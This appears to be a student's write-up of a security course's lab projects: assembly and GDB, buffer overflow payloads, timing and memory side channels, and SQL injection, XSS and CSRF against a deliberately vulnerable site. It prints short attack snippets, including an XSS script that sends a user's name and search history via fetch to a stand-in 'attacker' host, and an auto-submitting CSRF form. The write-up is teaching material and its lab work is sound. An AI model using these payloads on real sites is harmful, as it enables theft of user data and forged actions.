This class covered practical computer security across binaries, operating systems, and the web. The main “projects” were all about exploiting deliberately vulnerable targets so we could see how real attacks work and how defenses are supposed to stop them.
Project 1 – x86 & GDB
The first assignment was about working directly at the machine level:
- Wrote a small Linux program in 32-bit x86 assembly that:
- Read
argc/argvfrom the stack. - Printed either a single argument or an error message using raw system calls.
- Read
_start:
movl 0(%esp), %ebx # argc
cmpl $2, %ebx
jne bad_usage # require exactly one argument
movl 8(%esp), %ecx # argv[1]
; ... scan for '\0' and write() it ...
- Used GDB to inspect stack frames, registers, and function addresses:
- Found where local variables lived.
- Traced how
maincalls a helper function and where control returns.
This set the stage for later binary exploitation work by making the stack layout feel concrete instead of abstract.
Project 2 – Stack Layout & Buffer Overflows
The next set of tasks used small C programs with intentional bugs so we could see how buffer overflows rewrite control flow:
- Identified buffer sizes and return addresses by:
- Examining disassembly.
- Stepping through with GDB.
- Generated binary payloads with Python that:
- Filled a buffer with padding.
- Overwrote saved state on the stack (e.g., return address) in a controlled way.
Conceptually, each solution was of the form:
import sys
buf = b"A" * OFFSET_TO_RET # padding up to saved return address
addr = (0xDEADBEEF).to_bytes(4, "little") # target address
sys.stdout.buffer.write(buf + addr)
Project 3 – Side-Channel Attacks
This project explored information leaks that don’t rely on classic memory corruption.
Timing-based Side Channel (timehack.c)
- Measured how long a password check took for different guesses using
rdtsc():- Repeated each guess many times.
- Used the median of the timings to smooth out noise.
- Recovered the secret password one character at a time by looking for guesses that consistently caused slightly longer checks (indicating a longer matching prefix).
unsigned long start = rdtsc();
check_pass(guess);
unsigned long end = rdtsc();
unsigned long cycles = end - start;
Memory-based Side Channel (memhack.c)
- Allocated a region of memory and used
mprotectto make one page inaccessible. - Placed guesses so that a mismatch could cause a controlled page fault into the protected region.
- Installed a
SIGSEGVhandler and usedsigsetjmp/siglongjmpto recover and learn something from the fault pattern.
void handle_segv(int sig) {
siglongjmp(jumpout, 1); // recover from a fault
}
Together, these showed that even when code is “safe” from obvious bugs, timing and memory behavior can leak sensitive information.
Project 4 – Web Security: SQLi, XSS, CSRF
The final project moved to web application security using a deliberately vulnerable site.
SQL Injection
- Built login or query strings that:
- Demonstrated how unescaped input can alter a SQL query.
- Used UNION-style patterns to enumerate databases, tables, and columns.
- Observed how parameterization and proper escaping stop those attacks.
Cross-Site Scripting (XSS)
- Crafted payloads that:
- Injected script into pages via different input channels.
- Bypassed progressively stronger filters (plain script tags, event handlers, SVG/HTML quirks, etc.).
- The scripts simulated stealing:
- The logged-in username.
- The user’s search history.
- Data was exfiltrated with fetch to a local “attacker” endpoint, illustrating what a real XSS-driven data theft might look like.
setTimeout(() => {
const user = document.getElementById("logged-in-user").innerText;
const last = document.querySelector(".history-item").innerText;
fetch("http://attacker/?u=" + encodeURIComponent(user) +
"&q=" + encodeURIComponent(last));
}, 1000);
Cross-Site Request Forgery (CSRF)
- Built HTML pages that, if visited while already logged in, would:
- Auto-submit hidden forms to perform actions (like logging in as another user).
- In a more advanced version, first fetched a CSRF token from the site and then reused it in a forged request.
<form id="csrf" method="POST" action="https://target-site/login" style="display:none">
<input name="username" value="attacker">
<input name="password" value="examplepass">
<!-- optionally: <input name="csrf_token" value="..."> -->
</form>
<script>document.getElementById("csrf").submit();</script>
This project tied together server-side bugs (SQLi), client-side script injection (XSS), and browser trust assumptions (CSRF), emphasizing both the attacker’s perspective and why defenses like prepared statements, output encoding, and CSRF tokens are necessary.